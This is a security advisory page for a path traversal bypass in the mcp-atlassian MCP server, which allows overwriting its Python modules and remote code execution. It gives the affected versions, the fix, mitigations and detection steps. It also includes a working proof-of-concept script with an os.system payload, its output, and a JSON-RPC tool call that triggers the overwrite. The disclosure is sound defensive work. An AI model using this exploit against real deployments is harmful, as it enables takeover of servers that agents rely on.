CVE-2026-77271: MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)
The v0.17.0 path traversal fix in mcp-atlassian only confines Confluence downloads to the process working directory. In a container where that is the app directory, `confluence_download_attachment` can overwrite the server's own Python modules and give code execution at the next restart. Fixed in 0.22.0.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
validate_safe_path() in utils/io.py uses os.getcwd() as the base when no base_dir is passed. Both call sites in confluence/attachments.py omit it: download_attachment() and download_content_attachments(). In a typical container the working directory is /app, so any path under it passes, including /app/src/mcp_atlassian/confluence/attachments.py, servers/main.py and /app/.env. Classic traversal like /etc/passwd is still blocked, which hid the gap.
The attack chain from the report: upload a malicious .py file as a Confluence attachment, then call confluence_download_attachment with download_path set to one of the server's own modules. The file is overwritten and the payload runs on the next process restart or module reload. The proof of concept ran id after reloading the replaced module on 0.21.0.
The attacker needs Confluence credentials with write access to one page and network access to the MCP HTTP port. The reporter says the HTTP server binds to 0.0.0.0 with no authentication by default. Operators who upgraded to 0.17.0 because of the original advisory remain exposed.
Who is affected
The reporter lists 0.17.0 through 0.21.0, confirmed on 0.21.0. The package data marks everything below 0.22.0 as vulnerable. Containers whose working directory contains the application source are the classic case.
pip show mcp-atlassianAlso check the working directory your service starts in, since that defines the writable zone.
mcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.22.0
- Fixed in
- 0.22.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to 0.22.0:
pip install --upgrade mcp-atlassian==0.22.0The reporter proposed passing a dedicated download directory as base_dir, for example a MCP_DOWNLOAD_DIR setting defaulting to /tmp/mcp-downloads. Check the release notes for how 0.22.0 handles it. Run the container with a read-only root filesystem and with the application directory not writable by the service user to limit the damage of any overwrite.
How to tell if you were hit
Compare the checksums of installed mcp_atlassian files against a clean install of the same version, and check modification times on .py files and .env under the app directory. Search MCP logs for confluence_download_attachment calls whose download_path points inside the application directory. Review Confluence for .py attachments you did not add. Unexpected child processes from the service after a restart are a warning sign. Beam records agent MCP tool calls if an agent issued the download.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
Details
src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:
def validate_safe_path(path, base_dir=None) -> Path:
if base_dir is None:
base_dir = os.getcwd() # root of the issue
resolved_base = Path(base_dir).resolve(strict=False)
...
if not resolved_path.is_relative_to(resolved_base):
raise ValueError("Path traversal detected")Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:
validate_safe_path(target_path) # line ~227, download_attachment()
validate_safe_path(target_dir) # line ~270, download_content_attachments()When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:
/app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception
/app/src/mcp_atlassian/servers/main.py -> passes, no exception
/app/.env -> passes, no exceptionPoC
Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validate_safe_path directly from the installed package, not a simulation of the function.
# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path # real package
print(f"Module: {validate_safe_path.__module__}")
# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)
# Control: classic traversal is blocked
try:
validate_safe_path("/etc/passwd")
except ValueError:
print("[OK] /etc/passwd blocked")
# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")
# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
b"import os\n_PWNED=True\n"
b"def get_secret():\n"
b" os.system('id')\n"
b" return 'PWNED'\n"
)
print("[WRITE] Module overwritten with malicious payload")
# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # os.system('id') executes here
print(f"[RCE] get_secret() = {repr(mod.get_secret())}")
print(f"[RCE] _PWNED = {mod._PWNED}")
shutil.rmtree(app_dir)uvx --from mcp-atlassian python poc_bypass.pyVerified output (mcp-atlassian 0.21.0):
Module: mcp_atlassian.utils.io
[OK] /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE] Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE] get_secret() = 'PWNED'
[RCE] _PWNED = TrueTriggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page_id>",
"attachment_id": "<malicious_attachment_id>",
"download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
}
}
}validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.
Impact
Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:
_DOWNLOAD_BASE = Path(
os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()
validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)Credited to b-hermes.
Questions
- I upgraded to 0.17.0 after GHSA-xjgw-4wvw-rgm4. Am I safe?
No. The reporter confirmed the bypass on 0.21.0. The guard blocks paths outside the working directory but permits paths inside it, including the app's source files.
- Does the code run immediately?
No. The payload executes when the overwritten module is next loaded, such as on a process restart.
- What does the attacker need?
Confluence credentials with write access to a page, to host the malicious attachment, plus network access to the MCP HTTP port.
- Is it exploited in the wild?
No source reports that. It is not in CISA's KEV catalog, and the advisory only shows a proof of concept that reloads a replaced module.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
